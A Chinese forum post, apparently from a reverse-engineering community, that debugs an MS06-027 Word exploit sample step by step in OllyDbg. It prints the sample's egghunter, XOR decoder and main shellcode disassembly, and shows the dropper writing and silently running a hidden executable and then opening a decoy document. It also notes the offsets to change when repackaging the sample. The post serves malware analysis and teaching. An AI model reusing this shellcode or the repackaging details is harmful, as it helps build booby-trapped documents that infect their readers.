首页
社区
课程
招聘
[原创]MS06-027样本利用过程调试
2013-5-25 17:25 4545

[原创]MS06-027样本利用过程调试

2013-5-25 17:25
4545
最近有人问起word漏洞样本的具体分析,回头翻了翻好多资料,都集中于分析漏洞原理分析,很少有人具体分析一个样本的执行过程,即漏洞利用的过程。这里我就把样本调试的过程发出来,让新学漏洞的朋友能够借鉴。本调试过程配了个调试视频,有兴趣的朋友可以联系我获取视频,这样参照实际操作更容易理解。
(本文涉及的样本请问搜索引擎)

一。漏洞说明:
        MS06-027,详情查MS公告
        另有分析文章《Fuzzing in Word溢出分析和利用》
        http://www.hacker.com.cn/show-15-285-1.html
二。文章说明:
        本文基于读者已经熟练掌握
        《Fuzzing in Word溢出分析和利用》一文
        只演示shellcode工作过程
三。调试步骤:

1.利用16进制编辑器如c32asm等查看文件内容
找到控制EIP的点,本次调试的样本中填充地址为硬编码栈地址
位置:0x2850 =》0x00125b6a
将该位置修改成一个无效地址如:0x88888888

2.打开ollydbg调试器,首先设置调试器为当前系统实时调试器。
并取消忽略事件,关闭调试器。

3.在可溢出环境下双击打开步骤1中修改过的doc文档

4.word会自动捕获异常,并弹出异常页面,点击左下角“调试”,0llydbg
会自动打开并跳至异常位置。
此时:eip位置:
301AC0F6    8B08            mov     ecx, dword ptr [eax]
301AC0F8    50              push    eax
301AC0F9    FF51 14         call    dword ptr [ecx+14]
由此,可见控制EAX即可控制EIP,eax是我们在文档中修过的0x88888888值,
将其改回原值0x00125b6a
5.开始调试:
单步执行(f8),至call    dword ptr [ecx+14]时按F7步入
此时,EIP为 0x00125b8a,即shellcode入口点,这个位置可以在poc中找到。
00125B8A    33DB            xor     ebx, ebx
00125B8C    81C6 00000200   add     esi, 20000
00125B92    90              nop
00125B93    90              nop
00125B94    46              inc     esi
00125B95    8B06            mov     eax, dword ptr [esi]
00125B97    3D 80646433     cmp     eax, 33646480
00125B9C  ^ 75 F6           jnz     short 00125B94
00125B9E    43              inc     ebx
00125B9F    83FB 02         cmp     ebx, 2
00125BA2  ^ 75 F0           jnz     short 00125B94
00125BA4    FFE6            jmp     esi

分析后发现,这是一个查找0x33646480标记的微型shellcode代码,也有人称之为
egghunter,这个一般是在可利用栈空间小的可怜的时候才使用。
这里可以直接在jmp esi下断点后按F9执行
断住后,esi位置即为第二段shellcode位置。文档中位置为:0x7f0

这一段shellcode才是主功能shellcode
(这里要注意的是egg hunter并不是直接在栈上查找这个标记,因为这段shellcode并未被拷贝至栈,其查找的位置是
文件在内存中的映射:
Memory map, 条目 221
地址=09040000
大小=03FCD000 (66899968.)
属主=         09040000 (自身)
区段=
类型=Map  00041002
访问=R
初始访问=R
已映射为=\Device\HarddiskVolume1\Program Files\Common Files\Microsoft Shared\IME\IMSC40A\PINTLGT.IMD


回到EIP继续调试:
00A47600    806464 33 00    and     byte ptr [esp+33], 0
00A47605    EB 19           jmp     short 00A47620
00A47607    90              nop
00A47608    90              nop
00A47609    5F              pop     edi
00A4760A    57              push    edi
00A4760B    5E              pop     esi
00A4760C    33DB            xor     ebx, ebx
00A4760E    33C9            xor     ecx, ecx
00A47610    B9 00140000     mov     ecx, 1400
00A47615    43              inc     ebx
00A47616    3BD9            cmp     ebx, ecx
00A47618    74 0B           je      short 00A47625
00A4761A    AC              lods    byte ptr [esi]
00A4761B    34 A4           xor     al, 0A4
00A4761D    AA              stos    byte ptr es:[edi]
00A4761E  ^ EB F5           jmp     short 00A47615
00A47620    E8 E2FFFFFF     call    00A47607

这一段为shellcode解密段 可以看到后面的shellcode被按字节异或
xor     al, 0A4

按F8执行至:
00A47620    E8 E2FFFFFF     call    00A47607
时按F7步入(这里一定要注意,要不直接运行完了)
继续按F8在解密函数中游走。

执行几步后,就看明白了,解密长度为
00A47610    B9 00140000     mov     ecx, 1400
解密完成后,由该句跳转至 被解密shellcode位置
00A47618    74 0B           je      short 00A47625

这里直接可以运行两边后在
00A47620    E8 E2FFFFFF     call    00A47607
解密后的
00A47625    55              push    ebp
这一句上下断点,然后F9直接跳至真正的shellcode上,有所谓:“不识代码真面目,
只缘尼玛编了码”。
这里才是一个shellcode的真正面目
继续F8执行
00A47625    55              push    ebp
00A47626    8BEC            mov     ebp, esp
00A47628    81EC D0020000   sub     esp, 2D0
00A4762E    53              push    ebx
00A4762F    56              push    esi
00A47630    57              push    edi
00A47631    60              pushad
00A47632    64:8B15 3000000>mov     edx, dword ptr fs:[30]
00A47639    E9 21050000     jmp     00A47B5F

注意这里的jmp是跳到这里的
00A47B5F    E8 DAFAFFFF     call    00A4763E
00A47B64    5C              pop     esp
00A47B65    54              push    esp

千万要在call上面按F7步入,要不,重新来吧。
(注意:这里为什么要跳转一下,后面会知道的,其实shellcode的尾部存放了
一些重要的参数,比如捆绑后文件大小什么的)
按F7后来到
00A4763E    8F85 B4FDFFFF   pop     dword ptr [ebp-24C]

这里就是把参数位置,保存以备后用

shellcode功能就不重复叙述了,我以前的文章里面有关于这方面的讲解

标 题: 【原创】windows下的shellcode剖析浅谈
作 者: snowdbg
时 间: 2009-10-06,11:12:47
链 接: http://bbs.pediy.com/showthread.php?t=99007


本次调试的目的是找出恶意可执行文件,和正常文档在poc中的位置和解密方法

所以我们直接运行跳至:
00A477D2    C785 CCFEFFFF 0>mov     dword ptr [ebp-134], 0
00A477DC    8B95 CCFEFFFF   mov     edx, dword ptr [ebp-134]
00A477E2    83C2 04         add     edx, 4
00A477E5    8995 CCFEFFFF   mov     dword ptr [ebp-134], edx
00A477EB    6A 00           push    0
00A477ED    8B85 CCFEFFFF   mov     eax, dword ptr [ebp-134]
00A477F3    50              push    eax
00A477F4    FF95 34FDFFFF   call    dword ptr [ebp-2CC]
00A477FA    8985 A0FDFFFF   mov     dword ptr [ebp-260], eax
00A47800    8B8D A0FDFFFF   mov     ecx, dword ptr [ebp-260]
00A47806    3B4D E0         cmp     ecx, dword ptr [ebp-20]
00A47809  ^ 75 D1           jnz     short 00A477DC

这里是穷举文件句柄的地方要注意的是
00A47800    8B8D A0FDFFFF   mov     ecx, dword ptr [ebp-260]
00A47806    3B4D E0         cmp     ecx, dword ptr [ebp-20]
这里做了判断文件大小的动作,所以[ebp-20]这个位置很重要,
如果你修改了文件大小而没有修改这个地方的话这个poc就是CPU 99%的主。

这里直接在JNZ后面一句
00A4780B    68 04010000     push    104

下断点,再按F9
找到句柄后 就该常规的读数据提取数据流程了

00A47846    6A 00           push    0
00A47848    68 80000000     push    80
00A4784D    6A 02           push    2
00A4784F    6A 00           push    0
00A47851    6A 03           push    3
00A47853    68 00000040     push    40000000
00A47858    8D85 D0FEFFFF   lea     eax, dword ptr [ebp-130]
00A4785E    50              push    eax
00A4785F    FF95 38FDFFFF   call    dword ptr [ebp-2C8]                         ; kernel32.CreateFileA

这里建立EXE文件了
00124DDC   00A47865  /CALL 到 CreateFileA 来自 00A4785F
00124DE0   00124FA8  |FileName = "C:\WINDOWS\Temp\csrse.exe"
00124DE4   40000000  |Access = GENERIC_WRITE
00124DE8   00000003  |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
00124DEC   00000000  |pSecurity = NULL
00124DF0   00000002  |Mode = CREATE_ALWAYS
00124DF4   00000080  |Attributes = NORMAL
00124DF8   00000000  \hTemplateFile = NULL
然后有一个SetFilePointer
00A47865    8945 E4         mov     dword ptr [ebp-1C], eax
00A47868    6A 00           push    0
00A4786A    6A 00           push    0
00A4786C    8B4D D8         mov     ecx, dword ptr [ebp-28]
00A4786F    51              push    ecx
00A47870    8B95 CCFEFFFF   mov     edx, dword ptr [ebp-134]
00A47876    52              push    edx
00A47877    FF95 48FDFFFF   call    dword ptr [ebp-2B8]
这个函数很重要 是定位捆绑数据位置的
可以看到ebp-28位置存放的就是exe数据对应在文件的position
即0x5e00;

接着道这里了
00A47887    8B85 A0FDFFFF   mov     eax, dword ptr [ebp-260]
00A4788D    3B45 DC         cmp     eax, dword ptr [ebp-24]
00A47890    73 59           jnb     short 00A478EB
epb-24这个位置存放的是 exe文件大小

这一段太悲翠
00A47887    8B85 A0FDFFFF   mov     eax, dword ptr [ebp-260]
00A4788D    3B45 DC         cmp     eax, dword ptr [ebp-24]
00A47890    73 59           jnb     short 00A478EB
00A47892    6A 00           push    0
00A47894    8D4D D4         lea     ecx, dword ptr [ebp-2C]
00A47897    51              push    ecx
00A47898    6A 01           push    1
00A4789A    8D95 58FDFFFF   lea     edx, dword ptr [ebp-2A8]
00A478A0    52              push    edx
00A478A1    8B85 CCFEFFFF   mov     eax, dword ptr [ebp-134]
00A478A7    50              push    eax
00A478A8    FF95 44FDFFFF   call    dword ptr [ebp-2BC]
00A478AE    0FBE8D 58FDFFFF movsx   ecx, byte ptr [ebp-2A8]
00A478B5    C0C1 05         rol     cl, 5
00A478B8    90              nop
00A478B9    90              nop
00A478BA    90              nop
00A478BB    888D 58FDFFFF   mov     byte ptr [ebp-2A8], cl
00A478C1    6A 00           push    0
00A478C3    8D55 D4         lea     edx, dword ptr [ebp-2C]
00A478C6    52              push    edx
00A478C7    6A 01           push    1
00A478C9    8D85 58FDFFFF   lea     eax, dword ptr [ebp-2A8]
00A478CF    50              push    eax
00A478D0    8B4D E4         mov     ecx, dword ptr [ebp-1C]
00A478D3    51              push    ecx
00A478D4    FF95 40FDFFFF   call    dword ptr [ebp-2C0]
00A478DA    8B95 A0FDFFFF   mov     edx, dword ptr [ebp-260]
00A478E0    83C2 01         add     edx, 1
00A478E3    8995 A0FDFFFF   mov     dword ptr [ebp-260], edx
00A478E9  ^ EB 9C           jmp     short 00A47887

一次读一个字节然后写一个字节,到新文件中.注意,数据编码方式
00A478B5    C0C1 05         rol     cl, 5
简单的一个数据移位

这里直接在jmp后面下断F9

00A478F5    B9 11000000     mov     ecx, 11
00A478FA    33C0            xor     eax, eax
00A478FC    8DBD 5CFDFFFF   lea     edi, dword ptr [ebp-2A4]
00A47902    F3:AB           rep     stos dword ptr es:[edi]
00A47904    C785 5CFDFFFF 4>mov     dword ptr [ebp-2A4], 44
00A4790E    8D4D F0         lea     ecx, dword ptr [ebp-10]
00A47911    51              push    ecx
00A47912    8D95 5CFDFFFF   lea     edx, dword ptr [ebp-2A4]
00A47918    52              push    edx
00A47919    6A 00           push    0
00A4791B    6A 00           push    0
00A4791D    68 00000008     push    8000000
00A47922    6A 00           push    0
00A47924    6A 00           push    0
00A47926    6A 00           push    0
00A47928    8D85 D0FEFFFF   lea     eax, dword ptr [ebp-130]
00A4792E    50              push    eax
00A4792F    6A 00           push    0
00A47931    FF95 4CFDFFFF   call    dword ptr [ebp-2B4]                         ; kernel32.CreateProcessA
这一段是运行exe的了 这句call直接调用
00124DD0   00A47937  /CALL 到 CreateProcessA 来自 00A47931
00124DD4   00000000  |ModuleFileName = NULL
00124DD8   00124FA8  |CommandLine = "C:\WINDOWS\Temp\csrse.exe"
00124DDC   00000000  |pProcessSecurity = NULL
00124DE0   00000000  |pThreadSecurity = NULL
00124DE4   00000000  |InheritHandles = FALSE
00124DE8   08000000  |CreationFlags = CREATE_NO_WINDOW
00124DEC   00000000  |pEnvironment = NULL
00124DF0   00000000  |CurrentDir = NULL
00124DF4   00124E34  |pStartupInfo = 00124E34
00124DF8   001250C8  \pProcessInfo = 001250C8

你会发现捆绑的exe已经执行了
接下来:
00A47937    8B4D EC         mov     ecx, dword ptr [ebp-14]
00A4793A    8D940D D0FEFFFF lea     edx, dword ptr [ebp+ecx-130]
00A47941    8B85 C4FEFFFF   mov     eax, dword ptr [ebp-13C]
00A47947    8B08            mov     ecx, dword ptr [eax]
00A47949    890A            mov     dword ptr [edx], ecx
00A4794B    8B48 04         mov     ecx, dword ptr [eax+4]
00A4794E    894A 04         mov     dword ptr [edx+4], ecx
00A47951    8B48 08         mov     ecx, dword ptr [eax+8]
00A47954    894A 08         mov     dword ptr [edx+8], ecx
00A47957    8B40 0C         mov     eax, dword ptr [eax+C]
00A4795A    8942 0C         mov     dword ptr [edx+C], eax
00A4795D    6A 00           push    0
00A4795F    68 80000000     push    80
00A47964    6A 02           push    2
00A47966    6A 00           push    0
00A47968    6A 03           push    3
00A4796A    68 00000040     push    40000000
00A4796F    8D8D D0FEFFFF   lea     ecx, dword ptr [ebp-130]
00A47975    51              push    ecx
00A47976    FF95 38FDFFFF   call    dword ptr [ebp-2C8]

这里建立doc文件
00124DDC   00A4797C  /CALL 到 CreateFileA 来自 00A47976
00124DE0   00124FA8  |FileName = "C:\WINDOWS\Temp\tmp00.doc"
00124DE4   40000000  |Access = GENERIC_WRITE
00124DE8   00000003  |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
00124DEC   00000000  |pSecurity = NULL
00124DF0   00000002  |Mode = CREATE_ALWAYS
00124DF4   00000080  |Attributes = NORMAL
00124DF8   00000000  \hTemplateFile = NULL

继续到这里
00A4797C    8945 E4         mov     dword ptr [ebp-1C], eax
00A4797F    C785 A0FDFFFF 0>mov     dword ptr [ebp-260], 0
00A47989    8B95 A0FDFFFF   mov     edx, dword ptr [ebp-260]
00A4798F    3B95 A8FDFFFF   cmp     edx, dword ptr [ebp-258]
00A47995    0F83 B7000000   jnb     00A47A52
00A4799B    6A 00           push    0
00A4799D    6A 00           push    0
00A4799F    8B85 A4FDFFFF   mov     eax, dword ptr [ebp-25C]
00A479A5    50              push    eax
00A479A6    8B8D CCFEFFFF   mov     ecx, dword ptr [ebp-134]
00A479AC    51              push    ecx
00A479AD    FF95 48FDFFFF   call    dword ptr [ebp-2B8]                         ; kernel32.SetFilePointer

又是一个SetFilePointer
将ebp-25c位置的值作为position,所以这里也是一个重要参数,如果文档数据改变
这里是必须改的 要不然 poc执行了找不到捆绑的正常doc文件在哪

这一整段,跟exe数据读取一样

00A47989    8B95 A0FDFFFF   mov     edx, dword ptr [ebp-260]
00A4798F    3B95 A8FDFFFF   cmp     edx, dword ptr [ebp-258]
00A47995    0F83 B7000000   jnb     00A47A52
注意这个位置[ebp-258] 保存的是捆绑进去的正常doc文件大小
00A4799B    6A 00           push    0
00A4799D    6A 00           push    0
00A4799F    8B85 A4FDFFFF   mov     eax, dword ptr [ebp-25C]
00A479A5    50              push    eax
00A479A6    8B8D CCFEFFFF   mov     ecx, dword ptr [ebp-134]
00A479AC    51              push    ecx
00A479AD    FF95 48FDFFFF   call    dword ptr [ebp-2B8]
00A479B3    6A 00           push    0
00A479B5    8D55 D4         lea     edx, dword ptr [ebp-2C]
00A479B8    52              push    edx
00A479B9    6A 01           push    1
00A479BB    8D85 58FDFFFF   lea     eax, dword ptr [ebp-2A8]
00A479C1    50              push    eax
00A479C2    8B8D CCFEFFFF   mov     ecx, dword ptr [ebp-134]
00A479C8    51              push    ecx
00A479C9    FF95 44FDFFFF   call    dword ptr [ebp-2BC]
00A479CF    6A 00           push    0
00A479D1    6A 00           push    0
00A479D3    8B95 A0FDFFFF   mov     edx, dword ptr [ebp-260]
00A479D9    52              push    edx
00A479DA    8B85 CCFEFFFF   mov     eax, dword ptr [ebp-134]
00A479E0    50              push    eax
00A479E1    FF95 48FDFFFF   call    dword ptr [ebp-2B8]
00A479E7    0FBE8D 58FDFFFF movsx   ecx, byte ptr [ebp-2A8]
00A479EE    C0C1 05         rol     cl, 5
00A479F1    90              nop
00A479F2    90              nop
00A479F3    90              nop
00A479F4    888D 58FDFFFF   mov     byte ptr [ebp-2A8], cl
00A479FA    6A 00           push    0
00A479FC    8D55 D4         lea     edx, dword ptr [ebp-2C]
00A479FF    52              push    edx
00A47A00    6A 01           push    1
00A47A02    8D85 58FDFFFF   lea     eax, dword ptr [ebp-2A8]
00A47A08    50              push    eax
00A47A09    8B8D CCFEFFFF   mov     ecx, dword ptr [ebp-134]
00A47A0F    51              push    ecx
00A47A10    FF95 40FDFFFF   call    dword ptr [ebp-2C0]
00A47A16    6A 00           push    0
00A47A18    8D55 D4         lea     edx, dword ptr [ebp-2C]
00A47A1B    52              push    edx
00A47A1C    6A 01           push    1
00A47A1E    8D85 58FDFFFF   lea     eax, dword ptr [ebp-2A8]
00A47A24    50              push    eax
00A47A25    8B4D E4         mov     ecx, dword ptr [ebp-1C]
00A47A28    51              push    ecx
00A47A29    FF95 40FDFFFF   call    dword ptr [ebp-2C0]
00A47A2F    8B95 A4FDFFFF   mov     edx, dword ptr [ebp-25C]
00A47A35    83C2 01         add     edx, 1
00A47A38    8995 A4FDFFFF   mov     dword ptr [ebp-25C], edx
00A47A3E    8B85 A0FDFFFF   mov     eax, dword ptr [ebp-260]
00A47A44    83C0 01         add     eax, 1
00A47A47    8985 A0FDFFFF   mov     dword ptr [ebp-260], eax
00A47A4D  ^ E9 37FFFFFF     jmp     00A47989

接下来关闭文件句柄
00A47A52    8B4D E4         mov     ecx, dword ptr [ebp-1C]
00A47A55    51              push    ecx
00A47A56    FF95 3CFDFFFF   call    dword ptr [ebp-2C4]

再来
00A47A5C    C685 58FDFFFF 0>mov     byte ptr [ebp-2A8], 0
00A47A63    8B55 E0         mov     edx, dword ptr [ebp-20]
00A47A66    2B95 A8FDFFFF   sub     edx, dword ptr [ebp-258]
00A47A6C    8995 A0FDFFFF   mov     dword ptr [ebp-260], edx
00A47A72    83BD A0FDFFFF 0>cmp     dword ptr [ebp-260], 0
00A47A79    74 2D           je      short 00A47AA8
00A47A7B    6A 00           push    0
00A47A7D    8D45 D4         lea     eax, dword ptr [ebp-2C]
00A47A80    50              push    eax
00A47A81    6A 01           push    1
00A47A83    8D8D 58FDFFFF   lea     ecx, dword ptr [ebp-2A8]
00A47A89    51              push    ecx
00A47A8A    8B95 CCFEFFFF   mov     edx, dword ptr [ebp-134]
00A47A90    52              push    edx
00A47A91    FF95 40FDFFFF   call    dword ptr [ebp-2C0]                         ; kernel32.WriteFile
00A47A97    8B85 A0FDFFFF   mov     eax, dword ptr [ebp-260]
00A47A9D    83E8 01         sub     eax, 1
00A47AA0    8985 A0FDFFFF   mov     dword ptr [ebp-260], eax
00A47AA6  ^ EB CA           jmp     short 00A47A72
00A47AA8    8B8D CCFEFFFF   mov     ecx, dword ptr [ebp-134]
00A47AAE    51              push    ecx
00A47AAF    FF95 3CFDFFFF   call    dword ptr [ebp-2C4]

这里是将原来的poc改写代码 所以这个poc只能成功运行一次 ,第二次打开后就是
一个正常文档了
完成后关闭文件句柄
00A47AA8    8B8D CCFEFFFF   mov     ecx, dword ptr [ebp-134]
00A47AAE    51              push    ecx
00A47AAF    FF95 3CFDFFFF   call    dword ptr [ebp-2C4]                         ; kernel32.CloseHandle
继续执行
00A47AB5    B9 41000000     mov     ecx, 41
00A47ABA    33C0            xor     eax, eax
00A47ABC    8DBD B8FDFFFF   lea     edi, dword ptr [ebp-248]
00A47AC2    F3:AB           rep     stos dword ptr es:[edi]
00A47AC4    8B55 EC         mov     edx, dword ptr [ebp-14]
00A47AC7    83C2 34         add     edx, 34
00A47ACA    8995 A0FDFFFF   mov     dword ptr [ebp-260], edx
00A47AD0    B9 09000000     mov     ecx, 9
00A47AD5    8BB5 C8FEFFFF   mov     esi, dword ptr [ebp-138]
00A47ADB    8DBD B8FDFFFF   lea     edi, dword ptr [ebp-248]
00A47AE1    F3:A5           rep     movs dword ptr es:[edi], dword ptr [esi]
00A47AE3    8B4D EC         mov     ecx, dword ptr [ebp-14]
00A47AE6    83C1 10         add     ecx, 10
00A47AE9    8DB5 D0FEFFFF   lea     esi, dword ptr [ebp-130]
00A47AEF    8DBD DCFDFFFF   lea     edi, dword ptr [ebp-224]
00A47AF5    8BC1            mov     eax, ecx
00A47AF7    C1E9 02         shr     ecx, 2
00A47AFA    F3:A5           rep     movs dword ptr es:[edi], dword ptr [esi]
00A47AFC    8BC8            mov     ecx, eax
00A47AFE    83E1 03         and     ecx, 3
00A47B01    F3:A4           rep     movs byte ptr es:[edi], byte ptr [esi]
00A47B03    8B8D A0FDFFFF   mov     ecx, dword ptr [ebp-260]
00A47B09    C6840D B8FDFFFF>mov     byte ptr [ebp+ecx-248], 22
00A47B11    B9 11000000     mov     ecx, 11
00A47B16    33C0            xor     eax, eax
00A47B18    8DBD 5CFDFFFF   lea     edi, dword ptr [ebp-2A4]
00A47B1E    F3:AB           rep     stos dword ptr es:[edi]
00A47B20    C785 5CFDFFFF 4>mov     dword ptr [ebp-2A4], 44
00A47B2A    8D55 F0         lea     edx, dword ptr [ebp-10]
00A47B2D    52              push    edx
00A47B2E    8D85 5CFDFFFF   lea     eax, dword ptr [ebp-2A4]
00A47B34    50              push    eax
00A47B35    6A 00           push    0
00A47B37    6A 00           push    0
00A47B39    68 00000008     push    8000000
00A47B3E    6A 00           push    0
00A47B40    6A 00           push    0
00A47B42    6A 00           push    0
00A47B44    8D8D B8FDFFFF   lea     ecx, dword ptr [ebp-248]
00A47B4A    51              push    ecx
00A47B4B    6A 00           push    0
00A47B4D    FF95 4CFDFFFF   call    dword ptr [ebp-2B4]                         ; kernel32.CreateProcessA

这一大段的功能就是构造doc文件运行参数并调用kernel32.CreateProcessA
将其运行
00124DD0   00A47B53  /CALL 到 CreateProcessA 来自 00A47B4D
00124DD4   00000000  |ModuleFileName = NULL
00124DD8   00124E90  |CommandLine = "cmd.exe /c start winword.exe /w /q ""C:\WINDOWS\Temp\tmp00.doc"
00124DDC   00000000  |pProcessSecurity = NULL
00124DE0   00000000  |pThreadSecurity = NULL
00124DE4   00000000  |InheritHandles = FALSE
00124DE8   08000000  |CreationFlags = CREATE_NO_WINDOW
00124DEC   00000000  |pEnvironment = NULL
00124DF0   00000000  |CurrentDir = NULL
00124DF4   00124E34  |pStartupInfo = 00124E34
00124DF8   001250C8  \pProcessInfo = 001250C8

执行完call就发现捆绑的正常doc已经打开

最后收尾
00A47B53    6A 00           push    0
00A47B55    FF95 50FDFFFF   call    dword ptr [ebp-2B0]                         ; kernel32.ExitProcess

关闭当前异常的winword.exe进程,已经用不着它了所以关闭之

到这里我们发现了参数位置
00A47B5B    33C0            xor     eax, eax
00A47B5D    8918            mov     dword ptr [eax], ebx
00A47B5F    E8 DAFAFFFF     call    00A4763E
00A47B64    5C              pop     esp
00A47B65    54              push    esp
00A47B66    65:6D           ins     dword ptr es:[edi], dx
00A47B68    70 5C           jo      short 00A47BC6
00A47B6A    6373 72         arpl    word ptr [ebx+72], si
00A47B6D    73 65           jnb     short 00A47BD4
00A47B6F    2E:             prefix cs:

好,咱们看看参数是怎么排列的

00A47B5B  33 C0 89 18 E8 DA FA FF FF 5C 54 65 6D 70 5C 63  3缐柃?\Temp\c
00A47B6B  73 72 73 65 2E 65 78 65 00 5C 54 65 6D 70 5C 74  srse.exe.\Temp\t
00A47B7B  6D 70 30 30 2E 64 6F 63 00 63 6D 64 2E 65 78 65  mp00.doc.cmd.exe
00A47B8B  20 2F 63 20 73 74 61 72 74 20 77 69 6E 77 6F 72   /c start winwor
00A47B9B  64 2E 65 78 65 20 2F 77 20 2F 71 20 22 00 00 00  d.exe /w /q "...
00A47BAB  5E 00 00 00 C0 01 00 00 1E 02 00 00 5E 00 00 00  ^...?....^...
00A47BBB  7C 02 00 47 65 74 57 69 6E 64 6F 77 73 44 69 72  |.GetWindowsDir
00A47BCB  65 63 74 6F 72 79 41 00 47 65 74 46 69 6C 65 53  ectoryA.GetFileS
00A47BDB  69 7A 65 00 43 72 65 61 74 65 46 69 6C 65 41 00  ize.CreateFileA.
00A47BEB  43 6C 6F 73 65 48 61 6E 64 6C 65 00 57 72 69 74  CloseHandle.Writ
00A47BFB  65 46 69 6C 65 00 52 65 61 64 46 69 6C 65 00 53  eFile.ReadFile.S
00A47C0B  65 74 46 69 6C 65 50 6F 69 6E 74 65 72 00 43 72  etFilePointer.Cr
00A47C1B  65 61 74 65 50 72 6F 63 65 73 73 41 00 45 78 69  eateProcessA.Exi
00A47C2B  74 50 72 6F 63 65 73 73 00 00 00 00 00 00        tProcess......

看到一些熟悉的参数,原文档中这些数据都被xor al,0xa4了

四。总结
这个poc算是公开的带生成器的少数几个完整APT攻击的漏洞样本,从这里我们就可以看到
一个完整的APT攻击shellcode运行思路。
这里画个示意
poc总体由以下三部分组成:
|畸形文档        |
|exe数据        |
|正常doc数据        |
这三部分其实都是独立的文件数据,生成器不过只是将其按规则进行了简单叠加
其中畸形文档可以画如下结构

|漏洞触发位置                |这个请看《Fuzzing in Word溢出分析和利用》
|egg hunter                |
|shellcode decoder        |
|shellcode                |
|控EIP点:我们修改的0x88888888位置|
五。视频下载地址:
链接:http://pan.baidu.com/share/link?shareid=713803&uk=973869753 密码:ouym

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞3
打赏
分享
最新回复 (6)
雪    币: 411
活跃值: (247)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
blackwhite 1 2013-5-25 18:32
2
0
啥时候给你一个office 2008的apt样本有兴趣分析不.
雪    币: 3171
活跃值: (71)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
snowdbg 6 2013-5-25 18:34
3
0
是mac osx下的样本吧?
雪    币: 411
活跃值: (247)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
blackwhite 1 2013-5-25 18:59
4
0
对,是个在水果平台的实战利用.
雪    币: 7581
活跃值: (148)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
guobing 2013-5-26 00:30
5
0
记得分析0158的时候,就知道怎么猜着下断点,为啥能溢出,执行shellcode。就是不知道为啥这些poc是怎么来的,需要了解word的格式吗,唉,一个小漏洞能显出自己好多问题。学习啊。
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
rowp 2013-5-27 16:43
6
0
了解格式是必须的,构造数据确实是相对于其它软件漏洞利用稍有点难度。
雪    币: 91
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
selavie 1 2013-5-28 14:44
7
0
讲得很详细,功力好深厚
游客
登录 | 注册 方可回帖
返回